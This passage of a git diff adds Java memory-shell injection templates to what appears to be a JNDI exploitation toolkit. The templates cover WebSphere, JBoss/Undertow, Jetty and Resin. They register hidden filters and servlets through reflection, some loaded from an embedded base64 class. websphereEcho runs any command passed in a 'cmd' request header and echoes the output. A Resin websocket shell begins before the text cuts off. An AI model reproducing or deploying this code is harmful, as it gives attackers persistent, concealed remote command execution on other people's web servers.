gYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATgAHAFAAEQBgABQAUQAVAFIAGgBTAB0AVAAoAFYARQBZAEgAVwBKAFgATwBZAFIAXABWAF0AZABeAGoAXwCQAGcAkwBhAJQAYgCYAGcAmwBjAJwAZACgAGcAowBlAKQAZgCoAGgAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY="; + byte[] bytes = base64Decoder.decodeBuffer(codeClass); + + method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); + } + + Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{filterName}); + Object filter = clazz.newInstance(); + filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter}); + + method = null; + methods = webAppConfiguration.getClass().getMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals("addFilterInfo")) { + method = methods[i]; + break; + } + } + method.invoke(webAppConfiguration, new Object[]{filterConfig}); + + field = filterConfig.getClass().getSuperclass().getDeclaredField("context"); + field.setAccessible(true); + Object original = field.get(filterConfig); + + //设置为null,从而 addMappingForUrlPatterns 流程中不会抛出异常 + field.set(filterConfig, null); + + method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns", new Class[]{EnumSet.class, boolean.class, String[].class}); + method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{urlPattern}}); + + //addMappingForUrlPatterns 流程走完,再将其设置为原来的值 + field.set(filterConfig, original); + + method = null; + methods = webAppConfiguration.getClass().getMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals("getUriFilterMappings")) { + method = methods[i]; + break; + } + } + + //这里的目的是为了将我们添加的动态 Filter 放到第一位 + List uriFilterMappingInfos = (List) method.invoke(webAppConfiguration, new Object[0]); + uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1)); + } + + break; + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/websphereEcho.java b/src/main/java/com/qi4l/jndi/template/memshell/Websphere/websphereEcho.java new file mode 100644 index 0000000..cc581a1 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/Websphere/websphereEcho.java @@ -0,0 +1,36 @@ +package com.qi4l.jndi.template.memshell.Websphere; + +public class websphereEcho { + + static { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + Object[] obj_arr = (Object[]) obj; + for (int i = 0; i < obj_arr.length; i++) { + Object o = obj_arr[i]; + if (o == null) continue; + + if (o.getClass().getName().endsWith("WebContainerRequestState")) { + Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); + Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]); + + String cmd = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"}); + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]); + printWriter.println(res); + } + + break; + } + } + } catch (Exception ignored) { + } + + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBFMSFromContextF.java b/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBFMSFromContextF.java new file mode 100644 index 0000000..59e5c16 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBFMSFromContextF.java @@ -0,0 +1,195 @@ +package com.qi4l.jndi.template.memshell.jboss; + + +import javax.servlet.*; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Modifier; +import java.util.Map; + +/** + * jboss Filter 内存马 + * + * @author QI4L + */ +public class JBFMSFromContextF implements Filter { + + public static String pattern; + + public static String NAME; + + static { + try { + Object req = javax.security.jacc.PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); + + try { + Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl"); + Object context = getMethodAndInvoke(req, "getServletContext", new Class[]{}, new Object[]{}); + Object deploymentInfo = getFieldValue(context, "deploymentInfo"); + Map filters = (Map) getMethodAndInvoke(deploymentInfo, "getFilters", new Class[]{}, new Object[]{}); + + if (!filters.containsKey(NAME)) { + Class clazz = JBFMSFromContextF.class; + Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); + Class instanceFactoryClass = Class.forName("io.undertow.servlet.api.InstanceFactory"); + Class implClass = Class.forName("io.undertow.servlet.util.ConstructorInstanceFactory"); + + Constructor factoryConstructor = implClass.getDeclaredConstructor(new Class[]{Constructor.class}); + Object factory = factoryConstructor.newInstance( + new Object[]{clazz.getDeclaredConstructor()}); + + Constructor constructor = filterInfoClass.getDeclaredConstructor( + new Class[]{String.class, Class.class, instanceFactoryClass}); + constructor.setAccessible(true); + Object filter = constructor.newInstance(new Object[]{NAME, clazz, factory}); + + getMethodAndInvoke(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filter}); + + Field f = context.getClass().getDeclaredField("deployment"); + f.setAccessible(true); + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); + getMethodAndInvoke(getMethodAndInvoke(f.get(context), "getFilters", new Class[]{}, new Object[]{}), + "addFilter", new Class[]{filterInfoClass}, new Object[]{filter}); + getMethodAndInvoke(deploymentInfo, "insertFilterUrlMapping", + new Class[]{int.class, String.class, String.class, DispatcherType.class}, + new Object[]{0, NAME, pattern, DispatcherType.REQUEST}); + } + } catch (Exception ignored) { + Object standardContext = null; + Object servletContext = getMethodAndInvoke(req, "getServletContext", new Class[]{}, new Object[]{}); + if (servletContext != null) { + standardContext = getFieldValue(getFieldValue(servletContext, "context"), "context"); + } else { + standardContext = getFieldValue(getFieldValue(req, "request"), "context"); + } + Class contextClass = null; + try { + contextClass = standardContext.getClass().getSuperclass(); + contextClass.getDeclaredField("filterConfigs"); + } catch (Exception e) { + contextClass = standardContext.getClass(); + contextClass.getDeclaredField("filterConfigs"); + } + + Map filterConfigs = (Map) getFieldValue(standardContext, "filterConfigs"); + Filter filter = new JBFMSFromContextF(); + + Class filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); + Object filterDef = filterDefClass.newInstance(); + getMethodAndInvoke(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{NAME}); + getMethodAndInvoke(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filter.getClass().getName()}); + getMethodAndInvoke(filterDef, "setFilter", new Class[]{Filter.class}, new Object[]{filter}); + getMethodAndInvoke(standardContext, "addFilterDef", new Class[]{filterDefClass}, new Object[]{filterDef}); + + Class filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); + Object filterMap = filterMapClass.newInstance(); + + getMethodAndInvoke(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{pattern}); + getMethodAndInvoke(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{NAME}); + getMethodAndInvoke(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); + + Field fieldMaps = standardContext.getClass().getDeclaredField("filterMaps"); + fieldMaps.setAccessible(true); + Object maps = fieldMaps.get(standardContext); + + int length = Array.getLength(maps); + Object newMaps = Array.newInstance(filterMapClass, length + 1); + Array.set(newMaps, 0, filterMap); + for (int i = 0; i < length; i++) { + Array.set(newMaps, i + 1, Array.get(maps, i)); + } + fieldMaps.set(standardContext, newMaps); + + getMethodAndInvoke(standardContext, "addFilterMap", new Class[]{filterMapClass}, new Object[]{filterMap}); + + Class config = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); + Object apacheConfig = null; + + try { + Class conClass = Class.forName("org.apache.catalina.Context"); + Constructor constructor = config.getDeclaredConstructor(conClass, filterDefClass); + constructor.setAccessible(true); + apacheConfig = constructor.newInstance(standardContext, filterDef); + } catch (Exception neverMind) { + apacheConfig = createInstanceUnsafely(config); + Field def = config.getDeclaredField("filterDef"); + def.setAccessible(true); + def.set(apacheConfig, filterDef); + } + + Field field = config.getDeclaredField("filter"); + field.setAccessible(true); + field.set(apacheConfig, filter); + filterConfigs.put(NAME, apacheConfig); + } + } catch (Exception ignored) { + } + } + + public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + java.lang.reflect.Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) + return method.invoke(obj, parameters); + } catch (Exception ignored) { + } + return null; + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + public static Object createInstanceUnsafely(Class clazz) throws Exception { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + Field theUnsafeField = unsafeClass.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + return getMethodAndInvoke(theUnsafeField.get(null), "allocateInstance", new Class[]{Class.class}, new Object[]{clazz}); + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) + throws IOException, ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBSMSFromContextS.java b/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBSMSFromContextS.java new file mode 100644 index 0000000..4ad9db3 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBSMSFromContextS.java @@ -0,0 +1,82 @@ +package com.qi4l.jndi.template.memshell.jboss; + + +import io.undertow.servlet.api.DeploymentInfo; +import io.undertow.servlet.api.ServletInfo; +import io.undertow.servlet.core.DeploymentImpl; +import io.undertow.servlet.handlers.ServletHandler; +import io.undertow.servlet.spec.HttpServletRequestImpl; +import io.undertow.servlet.spec.ServletRegistrationImpl; +import io.undertow.servlet.util.ConstructorInstanceFactory; + +import javax.security.jacc.PolicyContext; +import javax.servlet.*; +import java.lang.reflect.Field; +import java.lang.reflect.Modifier; +import java.util.Map; + + +/** + * jboss Servlet 内存马 + * + * @author QI4L + */ +public class JBSMSFromContextS implements Servlet { + + public static String pattern; + + public static String NAME; + + static { + try { + HttpServletRequestImpl request = (HttpServletRequestImpl) PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); + ServletContext context = request.getServletContext(); + Field f = context.getClass().getDeclaredField("deploymentInfo"); + f.setAccessible(true); + DeploymentInfo deploymentInfo = (DeploymentInfo) f.get(context); + + //只添加一次 + Map servlets = deploymentInfo.getServlets(); + if (!servlets.containsKey(NAME)) { + + Class clazz = JBSMSFromContextS.class; + ServletInfo servletInfo = new ServletInfo(NAME, clazz, new ConstructorInstanceFactory(clazz.getDeclaredConstructor())); + deploymentInfo.addServlet(servletInfo); + + f = context.getClass().getDeclaredField("deployment"); + f.setAccessible(true); + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); + DeploymentImpl deployment = (DeploymentImpl) f.get(context); + ServletHandler handler = deployment.getServlets().addServlet(servletInfo); + + ServletRegistrationImpl registration = new ServletRegistrationImpl(servletInfo, handler.getManagedServlet(), deployment); + registration.addMapping(pattern); + } + } catch (Exception ignored) { + } + } + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/jetty/JFMSFromJMXF.java b/src/main/java/com/qi4l/jndi/template/memshell/jetty/JFMSFromJMXF.java new file mode 100644 index 0000000..a1402b9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/jetty/JFMSFromJMXF.java @@ -0,0 +1,128 @@ +package com.qi4l.jndi.template.memshell.jetty; + + +import com.sun.jmx.mbeanserver.JmxMBeanServer; +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; + +import javax.management.ObjectName; +import javax.servlet.*; +import java.io.IOException; +import java.lang.management.ManagementFactory; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.util.EnumSet; +import java.util.Set; + +/** + * 使用 JMX 注入 Jetty Filter 型内存马 + * + * @author QI4L + */ +public class JFMSFromJMXF implements Filter { + + public static String pattern; + + static { + try { + String filterName = String.valueOf(System.nanoTime()); + + JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer(); + + Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mBeanServer); + + field = obj.getClass().getDeclaredField("repository"); + field.setAccessible(true); + Field modifier = field.getClass().getDeclaredField("modifiers"); + modifier.setAccessible(true); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Repository repository = (Repository) field.get(obj); + + Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null); + for (NamedObject namedObject : namedObjectSet) { + try { + field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed"); + field.setAccessible(true); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Object webAppContext = field.get(namedObject.getObject()); + + field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); + field.setAccessible(true); + Object handler = field.get(webAppContext); + + field = handler.getClass().getDeclaredField("_filters"); + field.setAccessible(true); + Object[] objects = (Object[]) field.get(handler); + + boolean flag = false; + for (Object o : objects) { + field = o.getClass().getSuperclass().getDeclaredField("_name"); + field.setAccessible(true); + String name = (String) field.get(o); + if (name.equals(filterName)) { + flag = true; + break; + } + } + + if (!flag) { + ClassLoader classLoader = handler.getClass().getClassLoader(); + Class sourceClazz = null; + Object holder = null; + try { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); + field = sourceClazz.getDeclaredField("JAVAX_API"); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz); + holder = method.invoke(handler, field.get(null)); + } catch (ClassNotFoundException e) { + try { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); + } catch (ClassNotFoundException ignored) { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Holder$Source"); + } + Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz); + holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API")); + } + + + Filter filter = new JFMSFromJMXF(); + holder.getClass().getMethod("setName", String.class).invoke(holder, filterName); + holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, filter); + handler.getClass().getMethod("addFilter", holder.getClass()).invoke(handler, holder); + + Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping"); + Object filterMapping = clazz.newInstance(); + Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass()); + method.setAccessible(true); + method.invoke(filterMapping, holder); + filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{pattern}}); + filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST)); + + // prependFilterMapping 会自动把 filter 加到最前面 + handler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(handler, filterMapping); + } + } catch (Exception ignored) { + //pass + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/jetty/JSMSFromJMXS.java b/src/main/java/com/qi4l/jndi/template/memshell/jetty/JSMSFromJMXS.java new file mode 100644 index 0000000..aed26c7 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/jetty/JSMSFromJMXS.java @@ -0,0 +1,141 @@ +package com.qi4l.jndi.template.memshell.jetty; + +import com.sun.jmx.mbeanserver.JmxMBeanServer; +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; + +import javax.management.ObjectName; +import javax.servlet.*; +import java.lang.management.ManagementFactory; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.util.Set; + +/** + * jetty Servlet 内存马 + * + * @author QI4L + */ + +public class JSMSFromJMXS implements Servlet { + + public static String pattern; + + static { + try { + String servletName = String.valueOf(System.nanoTime()); + + JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer(); + + Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mBeanServer); + + field = obj.getClass().getDeclaredField("repository"); + field.setAccessible(true); + Field modifier = field.getClass().getDeclaredField("modifiers"); + modifier.setAccessible(true); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Repository repository = (Repository) field.get(obj); + + Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null); + for (NamedObject namedObject : namedObjectSet) { + try { + field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed"); + field.setAccessible(true); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Object webAppContext = field.get(namedObject.getObject()); + + field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); + field.setAccessible(true); + Object handler = field.get(webAppContext); + + field = handler.getClass().getDeclaredField("_servlets"); + field.setAccessible(true); + Object[] objects = (Object[]) field.get(handler); + + boolean flag = false; + for (Object o : objects) { + field = o.getClass().getSuperclass().getDeclaredField("_name"); + field.setAccessible(true); + String name = (String) field.get(o); + if (name.equals(servletName)) { + flag = true; + break; + } + } + + if (!flag) { + ClassLoader classLoader = handler.getClass().getClassLoader(); + Class sourceClazz = null; + Object holder = null; + try { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); + field = sourceClazz.getDeclaredField("JAVAX_API"); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Method method = handler.getClass().getMethod("newServletHolder", sourceClazz); + holder = method.invoke(handler, field.get(null)); + } catch (ClassNotFoundException e) { + try { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); + } catch (ClassNotFoundException ignored) { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Holder$Source"); + } + Method method = handler.getClass().getMethod("newServletHolder", sourceClazz); + holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API")); + } + + holder.getClass().getMethod("setName", String.class).invoke(holder, servletName); + Servlet servlet = new JSMSFromJMXS(); + holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet); + handler.getClass().getMethod("addServlet", holder.getClass()).invoke(handler, holder); + +// ServletMapping mappingx = new ServletMapping(Source.JAVAX_API); +// mappingx.setServletName(ServletHolder.this.getName()); +// mappingx.setPathSpecs(urlPatterns); +// ServletHolder.this.getServletHandler().addServletMapping(mappingx); + + Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping"); + Object servletMapping = null; + try { + servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null)); + } catch (NoSuchMethodException e) { + servletMapping = clazz.newInstance(); + } + + servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName); + servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{pattern}}); + handler.getClass().getMethod("addServletMapping", clazz).invoke(handler, servletMapping); + } + } catch (Exception e) { + //pass + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/resin/RFMSFromThreadF.java b/src/main/java/com/qi4l/jndi/template/memshell/resin/RFMSFromThreadF.java new file mode 100644 index 0000000..499696b --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/resin/RFMSFromThreadF.java @@ -0,0 +1,114 @@ +package com.qi4l.jndi.template.memshell.resin; + +import com.caucho.server.dispatch.FilterConfigImpl; +import com.caucho.server.dispatch.FilterMapper; +import com.caucho.server.dispatch.FilterMapping; +import com.caucho.server.webapp.WebApp; + +import javax.servlet.*; +import java.lang.reflect.Field; +import java.util.ArrayList; + +public class RFMSFromThreadF implements Filter { + public static String pattern; + + static { + try { + String filterName = String.valueOf(System.nanoTime()); + + ClassLoader classloader = Thread.currentThread().getContextClassLoader(); + + Class servletInvocationcls = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation"); + Class filterConfigimplcls = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl"); + Class filterMappingcls = classloader.loadClass("com.caucho.server.dispatch.FilterMapping"); + Class filterMappercls = classloader.loadClass("com.caucho.server.dispatch.FilterMapper"); + + Object contextRequest = servletInvocationcls.getMethod("getContextRequest").invoke(null); + WebApp webapp = (WebApp) contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest); + + Filter filter = new RFMSFromThreadF(); + + FilterConfigImpl filterConfigimpl = (FilterConfigImpl) filterConfigimplcls.newInstance(); + filterConfigimpl.setFilterName(filterName); + filterConfigimpl.setFilter(filter); + filterConfigimpl.setFilterClass(filter.getClass()); + + webapp.addFilter(filterConfigimpl); + + FilterMapping filterMapping = (FilterMapping) filterMappingcls.newInstance(); + FilterMapping.URLPattern filterMappingUrlpattern = filterMapping.createUrlPattern(); + filterMappingUrlpattern.addText(pattern); + filterMappingUrlpattern.init(); + filterMapping.setFilterName(filterName); + filterMapping.setServletContext(webapp); + + + //set filterMapper + Field fieldWebappFilterMapper = null; + try { + fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper"); + } catch (NoSuchFieldException Exception) { + fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper"); + } + + fieldWebappFilterMapper.setAccessible(true); + FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp); + + Field fieldFilterMapperFilterMap = filterMappercls.getDeclaredField("_filterMap"); + fieldFilterMapperFilterMap.setAccessible(true); + + ArrayList orginalfilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper); + ArrayList newFilterMappings = new ArrayList(orginalfilterMappings.size() + 1); + newFilterMappings.add(filterMapping); + + int count = 0; + while (count < orginalfilterMappings.size()) { + newFilterMappings.add(orginalfilterMappings.get(count)); + ++count; + } + + fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings); + fieldWebappFilterMapper.set(webapp, filtermapper); + + //set loginFilterMapper + Field fieldWebappLoginFilterMapper = null; + try { + fieldWebappLoginFilterMapper = webapp.getClass().getDeclaredField("_loginFilterMapper"); + } catch (NoSuchFieldException Exception) { + fieldWebappLoginFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_loginFilterMaper"); + } + + fieldWebappLoginFilterMapper.setAccessible(true); + FilterMapper loginFilterMapper = (FilterMapper) fieldWebappLoginFilterMapper.get(webapp); + + ArrayList orginLoginFilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(loginFilterMapper); + ArrayList newLoginFilterMappings = new ArrayList(orginLoginFilterMappings.size() + 1); + newLoginFilterMappings.add(filterMapping); + + count = 0; + while (count < orginLoginFilterMappings.size()) { + newLoginFilterMappings.add(orginLoginFilterMappings.get(count)); + ++count; + } + + fieldFilterMapperFilterMap.set(loginFilterMapper, newLoginFilterMappings); + fieldWebappLoginFilterMapper.set(webapp, loginFilterMapper); + + webapp.getClass().getMethod("clearCache").invoke(webapp); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/resin/RSMSFromThreadS.java b/src/main/java/com/qi4l/jndi/template/memshell/resin/RSMSFromThreadS.java new file mode 100644 index 0000000..e2c3cf5 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/resin/RSMSFromThreadS.java @@ -0,0 +1,76 @@ +package com.qi4l.jndi.template.memshell.resin; + +import com.caucho.server.dispatch.ServletConfigImpl; +import com.caucho.server.dispatch.ServletManager; + +import javax.servlet.*; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashMap; + +public class RSMSFromThreadS implements Servlet { + public static String pattern; + + public static String NAME; + + static { + try { + Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + Method getContextRequest = si.getMethod("getContextRequest"); + javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest) getContextRequest.invoke(null); + + Method getServletContext = javax.servlet.ServletRequest.class.getMethod("getServletContext"); + Object web = getServletContext.invoke(contextRequest); + + com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp) web; + + com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping(); + + Field f = ServletConfigImpl.class.getDeclaredField("_servletClass"); + f.setAccessible(true); + f.set(smapping, RSMSFromThreadS.class); + + Field f1 = ServletConfigImpl.class.getDeclaredField("_servletClassName"); + f1.setAccessible(true); + f1.set(smapping, RSMSFromThreadS.class.getName()); + + Field f2 = web1.getClass().getDeclaredField("_servletManager"); + f2.setAccessible(true); + + Object manager = f2.get(web1); + Field f3 = ServletManager.class.getDeclaredField("_servlets"); + f3.setAccessible(true); + HashMap map = (HashMap) f3.get(manager); + + map.put(NAME, new ServletConfigImpl()); + + smapping.setServletName(NAME); + smapping.addURLPattern(pattern); + + web1.addServletMapping(smapping); + } catch (Exception ignored) { + } + } + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/resin/WsResin.java b/src/main/java/com/qi4l/jndi/template/memshell/resin/WsResin.java new file mode 100644 index 0000000..b6bcaaf --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/resin/WsResin.java @@ -0,0 +1,85 @@ +package com.qi4l.jndi.template.memshell.resin; + +import com.caucho.websocket.WebSocketContext; +import com.caucho.websocket.WebSocketListener; +import com.caucho.websocket.WebSocketServletRequest; + +import java.io.IOException; +import java.io.InputStream; +import java.io.PrintWriter; +import java.io.Reader; + +public class WsResin implements WebSocketListener { + + static { + try { + ClassLoader classloader = Thread.currentThread().getContextClassLoader(); + Class servletInvocationcls = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation"); + Object contextRequest = servletInvocationcls.getMethod("getContextRequest").invoke(null); + String protocol = (String) contextRequest.getClass().getMethod("getHeader").invoke(contextRequest, "Upgrade"); + //String protocol = request.getHeader("Upgrade"); + if (!"websocket".equals(protocol)) { + System.out.println("not websocket"); + System.exit(0); + } + WebSocketListener listener = new WsResin(); + WebSocketServletRequest wsReq = (WebSocketServletRequest) contextRequest; + wsReq.startWebSocket(listener); + } catch (Exception ignored) { + } + } + + @Override + public void onReadText(WebSocketContext context, Reader is) throws IOException { + StringBuilder sb = new StringBuilder(); + int ch; + while ((ch = is.read()) >= 0) { + sb.append((char) ch); + } + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = 